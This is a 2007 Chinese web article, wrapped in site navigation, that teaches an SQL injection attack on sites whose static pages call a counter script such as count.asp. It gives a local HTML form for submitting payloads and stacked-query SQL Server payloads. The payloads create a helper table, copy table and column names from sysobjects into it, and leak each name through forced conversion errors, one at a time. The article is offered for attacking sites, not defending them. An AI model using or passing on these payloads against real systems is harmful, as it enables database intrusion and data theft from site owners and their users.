文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | firefox | WPS | 杀毒软件 | Picasa
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形图像 办公软件 媒体动画 精文荟萃 常用软件 网页编程 技术开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络编程数据库SQL注入的不常见方法
精品推荐
特别推荐
·学习SQL语句之SQL语句大全
·数据备份失败的五个原因及解决办法
·解决SQL Server常见的七个经典问题
·SQL存储过程的概念,创建,调用,管理,删除,优点
·带你轻松接触13个数据库术语
·如何恢复系统数据库如何恢复系统数据库?
·通过实例讲解由浅入深学会存储过程
·学会三个范式快速成为数据库设计的高手
·SQL数据库应聘人员面试时经常被问的问题
·问答:查询分析器不能单步调试的的原因
·数据库基础知识:SQL中的IIF语句详解
·WindowsXP+IIS+PHP5+MySQL5+Zend+GD库+phpMyAdmin+PHPWind 5.3 安装教程
·你知道吗?优化数据库前的十大问题
·自动备份注意事项让你远离误删数据噩梦
·关于MSSQL数据库日志满的快速解决办法
·SQL安全设置攻略
·SQL注入的不常见方法
·关于SQL语句的优化方式
·SQL优化34条
·查询及删除重复记录的方法
热点TOP10
·学习SQL语句之SQL语句大全
·玩转Windows桌面图标
·了解SQL语句的功能,快速学会SQL语句
·Transact-SQL语句总汇
·ADO连接数据库字符串大全
·精妙SQL语句收集
·ASP.NET中数据库的操作初步----DataSet操作数据库
·Apache+php+mysql安装与配置详解
·101个微软提供的Visual Studio 2005示例
·一个简单的酒店系统的数据库设计
·VB.NET的数据库基础编程(1)
·如何在GridView中一次性批量更新多行数据
·QQ聊天记录器演示程序(一)
·通过Remoting service上传文件
·使用设计模式构建通用数据库访问类
·VB.NET的数据库基础编程(2)
·数据库开发与应用:SQL常用命令使用方法
·Delphi程序执行时实时生成报表
·数据库基础知识:SQL中的IIF语句详解
·SQL查询语句精华使用简要

SQL注入的不常见方法

日期:2007年4月30日 作者: 查看:[大字体 中字体 小字体]


大家在是否碰到过这样的站点:

全站文章系统采用FSO静态生成的Html文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。

我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

攻击方法:

查看源文件/看里面是否有通过JS来调用的页面。

如调用<script language="javascript" src="count.ASP?id=1552"></script>来更新文章的浏览次数。

我们就可以这样来试一下可否注入:

http://服务器域名/count.asp?id=1552'

看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

post.htm内容:主要是方便输入

<iframe name=p src=# width=800 height=350 frameborder=0></iframe>

<br>

<form action=http://test.com/count.asp target=p>

<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">

<input type=submit value=">>>">

<input type=hidden name=fno value="2, 3">

</form>

对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values('test');--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。

/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

……类推

(出处:清风下载学院






上一篇:对一个大型网络硬盘营业站点的测试

下一篇:标准SQL注入入侵语句

SQL注入的不常见方法 相关文章:
·常用英文名字排行榜
·常用破解网络密码的方法多个
·女孩起名常用字
·免费QQ秀(非常不错啊)
·[综合]召唤兽常见技能资质表(最新修补完整版)
·非常漂亮的QQ资料,保证不会让你失望
·常见CRT显示器问题汇集
·Photoshop教程:MM照片弄得非常脏特效
·液晶显示器的常见问题
·Linux常用命令详解
SQL注入的不常见方法 相关软件:
·家常菜制作集锦(1)
·家常菜制作集锦(2)
·网络常见问题与故障1000例
·家常菜制作集锦(3)
·AutoCAD应用技巧与常见问题你问我答
·张五常作品合集
·Windows XP六大常规维护
·厨房小常识800题
·猪蹄的十三种家常做法
·余世维-职业经理人常犯的11种错误

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:vipcn